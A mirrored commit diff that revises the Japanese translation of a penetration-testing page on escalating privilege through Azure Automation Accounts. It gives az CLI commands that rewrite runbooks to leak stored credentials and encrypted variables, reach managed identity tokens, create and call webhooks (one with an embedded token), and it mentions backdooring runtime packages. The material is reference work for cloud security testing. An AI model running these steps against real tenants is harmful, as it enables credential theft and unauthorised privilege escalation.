mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-06 17:53:37 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -16,14 +16,14 @@
|
||||
|
||||
攻撃者がハイブリッドワーカーで任意のランブック(任意のコード)を実行できる場合、彼は**VMの場所にピボットします**。これは、オンプレミスのマシン、異なるクラウドのVPC、またはAzure VMである可能性があります。
|
||||
|
||||
さらに、ハイブリッドワーカーがAzureで他のマネージドアイデンティティと共に実行されている場合、ランブックは**ランブックのマネージドアイデンティティとVMのすべてのマネージドアイデンティティにメタデータサービスからアクセスできる**ようになります。
|
||||
さらに、ハイブリッドワーカーがAzureで他のManaged Identitiesと共に実行されている場合、ランブックは**ランブックの管理対象IDとVMのすべての管理対象IDにメタデータサービスからアクセスできる**ようになります。
|
||||
|
||||
> [!TIP]
|
||||
> **メタデータサービス**は、Automation Accountのマネージドアイデンティティトークンを取得するサービスとは異なるURL(**`http://169.254.169.254`**)を持っていることを忘れないでください(**`IDENTITY_ENDPOINT`**)。
|
||||
> **メタデータサービス**は、Automation Accountの管理対象IDトークンを取得するサービスとは異なるURL(**`http://169.254.169.254`**)を持っていることを忘れないでください(**`IDENTITY_ENDPOINT`**)。
|
||||
|
||||
- **VMからAutomation Accountへ**
|
||||
|
||||
さらに、誰かがAutomation Accountスクリプトが実行されているVMを侵害した場合、彼は**Automation Account**のメタデータを特定し、VMからアクセスして**Automation Account**に関連付けられた**Managed Identities**のトークンを取得することができます。
|
||||
さらに、誰かがAutomation Accountスクリプトが実行されているVMを侵害した場合、彼は**Automation Account**のメタデータを見つけ、VMからアクセスして**Automation Accountに関連付けられたManaged Identities**のトークンを取得できるようになります。
|
||||
|
||||
次の画像に示すように、VM上で管理者アクセスを持っている場合、**プロセスの環境変数**の中にAutomation AccountメタデータサービスにアクセスするためのURLとシークレットを見つけることができます:
|
||||
|
||||
@@ -34,7 +34,7 @@
|
||||
|
||||
要約すると、これらの権限は**Automation Account内でRunbooksを作成、変更、実行する**ことを可能にし、これを使用して**Automation Accountのコンテキストでコードを実行し、割り当てられた**Managed Identities**に特権を昇格させ、Automation Accountに保存された**資格情報**や**暗号化された変数**を漏洩させることができます。
|
||||
|
||||
権限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**は、Automation Account内のRunbookのコードを次のように変更することを許可します:
|
||||
権限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**は、Automation Account内のRunbookのコードを変更することを許可します:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -47,7 +47,7 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
前のスクリプトが、Automation Accountに保存された**暗号化された変数**のユーザー名とパスワードを**漏洩させる**ためにどのように使用できるかに注意してください。
|
||||
前のスクリプトが、Automation Accountに保存されている資格情報の**ユーザー名とパスワード**、および**暗号化された変数**の値を**漏洩**させるためにどのように使用できるかに注意してください。
|
||||
|
||||
権限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**は、ユーザーがAutomation Account内でRunbookを公開できるようにし、変更が適用されることを許可します。
|
||||
```bash
|
||||
@@ -69,13 +69,13 @@ az automation runbook start \
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
Runbookが作成されていない場合、または新しいものを作成したい場合は、次の操作を行うために**permissions `Microsoft.Resources/subscriptions/resourcegroups/read` and `Microsoft.Automation/automationAccounts/runbooks/write`**が必要です:
|
||||
Runbookが作成されていない場合、または新しいものを作成したい場合は、次の操作を行うために**permissions `Microsoft.Resources/subscriptions/resourcegroups/read` と `Microsoft.Automation/automationAccounts/runbooks/write`**が必要です:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
この権限は、ユーザーが次の方法でAutomation Accountに**ユーザー管理のID**を割り当てることを許可します:
|
||||
この権限は、ユーザーが次の方法でAutomation Accountに**ユーザー管理のアイデンティティ**を割り当てることを許可します:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -138,27 +138,12 @@ az rest --method PUT \
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
権限**`Microsoft.Automation/automationAccounts/webhooks/write`**を使用すると、次のコマンドを使用してAutomation Account内のRunbook用の新しいWebhookを作成できます。
|
||||
|
||||
Webhook URIを**指定する必要がある**ことに注意してください。
|
||||
権限**`Microsoft.Automation/automationAccounts/webhooks/write`**を使用すると、次のコマンドを使用してAutomation Account内のRunbook用の新しいWebhookを作成することができます。
|
||||
```bash
|
||||
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
|
||||
```
|
||||
このコマンドは、作成時にのみ表示されるウェブフックURIを返す必要があります。次に、ウェブフックURIを使用してランブックを呼び出します。
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
|
||||
--body '{
|
||||
"name": "<webhook-name>",
|
||||
"properties": {
|
||||
"isEnabled": true,
|
||||
"expiryTime": "2026-01-09T20:03:30.291Z",
|
||||
"parameters": {},
|
||||
"runOn": null,
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
},
|
||||
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
|
||||
}
|
||||
}'
|
||||
|
||||
# Then, to call the runbook using the webhook
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
@@ -190,7 +175,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
この権限は、ユーザーが次のようなコマンドを使用してAutomation Accountの**ソースコントロールを構成する**ことを許可します(以下はGithubを例としています):
|
||||
この権限は、ユーザーが次のようなコマンドを使用してAutomation Accountの**ソースコントロールを構成する**ことを許可します(これはGithubを例にしています):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -205,16 +190,16 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
これにより、GithubリポジトリからAutomation Accountにランブックが自動的にインポートされ、いくつかの他の権限を持ってそれらを実行し始めることができれば、**権限を昇格させることが可能**です。
|
||||
これにより、GithubリポジトリからAutomation Accountにランブックが自動的にインポートされ、いくつかの他の権限を持ってそれらを実行し始めることで、**権限を昇格させることが可能**になります。
|
||||
|
||||
さらに、Automation Accountsでソース管理が機能するためには、**`Contributor`**の役割を持つマネージドアイデンティティが必要であり、ユーザー管理のアイデンティティの場合は、MIのクライアントIDを変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**に指定する必要があります。
|
||||
さらに、Automation Accountsでソース管理が機能するためには、**`Contributor`**の役割を持つマネージドアイデンティティが必要であり、ユーザーマネージドアイデンティティの場合は、MIのクライアントIDを変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**に指定する必要があります。
|
||||
|
||||
> [!TIP]
|
||||
> 作成後にソース管理のリポジトリURLを変更することはできないことに注意してください。
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
権限**`Microsoft.Automation/automationAccounts/variables/write`**を持つことで、次のコマンドを使用してAutomation Accountに変数を書き込むことが可能です。
|
||||
権限**`Microsoft.Automation/automationAccounts/variables/write`**を使用すると、次のコマンドを使用してAutomation Accountに変数を書き込むことができます。
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
|
||||
@@ -230,11 +215,11 @@ az rest --method PUT \
|
||||
```
|
||||
### カスタムランタイム環境
|
||||
|
||||
自動化アカウントがカスタムランタイム環境を使用している場合、ランタイムのカスタムパッケージを悪意のあるコード(**バックドア**など)で上書きすることが可能です。この方法では、そのカスタムランタイムを使用するランブックが実行され、カスタムパッケージがロードされるたびに、悪意のあるコードが実行されます。
|
||||
自動化アカウントがカスタムランタイム環境を使用している場合、ランタイムのカスタムパッケージを悪意のあるコード(**バックドア**など)で上書きすることが可能です。この方法では、そのカスタムランタイムを使用するランブックが実行され、カスタムパッケージが読み込まれるたびに、悪意のあるコードが実行されます。
|
||||
|
||||
### 状態構成の妥協
|
||||
|
||||
**完全な投稿を確認してください:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
**完全な投稿を確認するには:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- ステップ 1 — ファイルの作成
|
||||
|
||||
|
||||
Reference in New Issue
Block a user